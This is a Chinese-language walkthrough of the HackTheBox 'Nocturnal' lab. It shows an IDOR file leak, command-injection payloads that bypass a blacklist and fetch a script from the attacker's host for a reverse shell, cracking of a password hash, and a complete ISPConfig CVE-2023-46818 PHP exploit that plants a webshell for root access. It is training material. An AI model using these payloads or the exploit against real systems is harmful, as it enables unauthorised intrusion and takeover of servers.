- 难度 : Easy
- 靶场 : HackTheBox [Nocturnal]
- 类型 : 综合渗透
GetShell
首先扫描端口,发现开放了 22
和 80
端口。
nmap -Pn -sT 10.10.11.64 --top-ports 1000
HTTP 需要配置域名才能访问,域名是 nocturnal.htb
,打开发现是个可以上传文件的网站。
可以先随便注册一个用户登上去看看,上传 PHP 文件,发现对上传文件后缀进行了白名单限制,感觉应该很难绕。提示 : Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.
那就按正常流程先上传一个 PDF 试试。上传后的文件出现在了文件列表,找到了下载接口。
http://nocturnal.htb/view.php?username=aaa&file=file.pdf
测试发现这个接口并没有严格鉴权,可以爆破用户名下载任意用户上传的文件,用 Burp 跑一下 username 的字典。
找到 amanda 用户,发现有个
privacy.odt
文件,可以用 Word 打开,里面有用户的初始密码信息。
退出重新登录,用初始密码成功登录 amanda 账号,发现可以进入 admin panel 。可以看到 PHP 源码,进行源码审计。
发现 Backup 功能是通过 zip
命令实现的,而 password
变量可以由用户控制,但是经过了一层黑名单处理。关键代码:
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
这里绕过试了好久都没有成功,最后看其他人的 WP 才发现可以用 %0a
截断, %09
作为空格。最后构造出来的 payload 是这样的:
# 下载远程脚本到本地
password=%0abash%09-c%09"wget%09http://10.10.14.45:8089/1.sh"&backup=
# 执行脚本
password=%0abash%09-c%09"bash%091.sh"&backup=
成功反弹 shell ,用户为 www-data
,用户目录下的 nocturnal_database 文件夹中一个 nocturnal_database.db
SQLite 数据库。下载下来,发现数据库中 users
表中有这么一条数据。
4 tobias 55c82b1ccd55ab219b3b109b07d5061d
tobias
这个用户在 /etc/passwd
中也有,可以考虑破解密码,撞库 SSH 。
hashcat -m 0 tobias.hash rockyou.txt
用破解出来的密码可以成功登录 SSH ,拿到 user flag 。
提权
用 ss
查看服务器开放的端口。
ss -tulnp
发现开放了 8080 端口,这里我用 curl
测试,但是没有回显,所以被误导了,实际上用浏览器访问还是有内容的。
为了方便直接用 SSH
进行代理,将服务器上的 8080
端口代理到本机的 8787
。
ssh -L 8787:127.0.0.1:8080 tobias@10.10.11.64 -N
访问发现是一个服务器管理面板 ISPConfig
。
继续撞库,用户名 admin
密码为之前 hashcat 破解出的 slowmotionapocalypse
,登录成功。
在 Help 选项中找到了版本信息。
ISPConfig Version: 3.2.10p1
不过在 Exploit DB 中没有找到对应的 Poc ,都是比较古老的,网上搜到了一个 POC ,可以直接利用。
<?php
/*
------------------------------------------------------------------------
ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability
------------------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://www.ispconfig.org
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability Description:
User input passed through the "records" POST parameter to /admin/language_edit.php is
not properly sanitized before being used to dynamically generate PHP code that will be
executed by the application. This can be exploited by malicious administrator users to
inject and execute arbitrary PHP code on the web server.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2023-13
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];
print "[+] Logging in with username '{$user}' and password '{$pass}'\n";
@unlink('./cookies.txt');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "{$url}login/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".urlencode($user)."&password=".urlencode($pass)."&s_mod=login");
if (preg_match('/Username or Password wrong/i', curl_exec($ch))) die("[-] Login failed!\n");
print "[+] Injecting shell\n";
$__phpcode = base64_encode("<?php print('____'); passthru(base64_decode(\$_SERVER['HTTP_C'])); print('____'); ?>");
$injection = "'];file_put_contents('sh.php',base64_decode('{$__phpcode}'));die;#";
$lang_file = str_shuffle("qwertyuioplkjhgfdsazxcvbnm").".lng";
curl_setopt($ch, CURLOPT_URL, "{$url}admin/language_edit.php");
curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}");
$res = curl_exec($ch);
if (!preg_match('/_csrf_id" value="([^"]+)"/i', $res, $csrf_id)) die("[-] CSRF ID not found!\n");
if (!preg_match('/_csrf_key" value="([^"]+)"/i', $res, $csrf_key)) die("[-] CSRF key not found!\n");
curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}&_csrf_id={$csrf_id[1]}&_csrf_key={$csrf_key[1]}&records[%5C]=".urlencode($injection));
curl_exec($ch);
print "[+] Launching shell\n";
curl_setopt($ch, CURLOPT_URL, "{$url}admin/sh.php");
curl_setopt($ch, CURLOPT_POST, false);
while(1)
{
print "\nispconfig-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
使用方法:
php CVE-2023-46818.php http://localhost:8787/ admin slowmotionapocalypse (base)
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# whoami
root
提权成功,拿到 root flag 。
总结
回顾一下,这道题就有点真实渗透的感觉了,还是有一丢丢难度的,主要是在 sh password 绕过那里卡了好久,基本功不太扎实,其他地方顺着思路基本没有什么大问题。
评论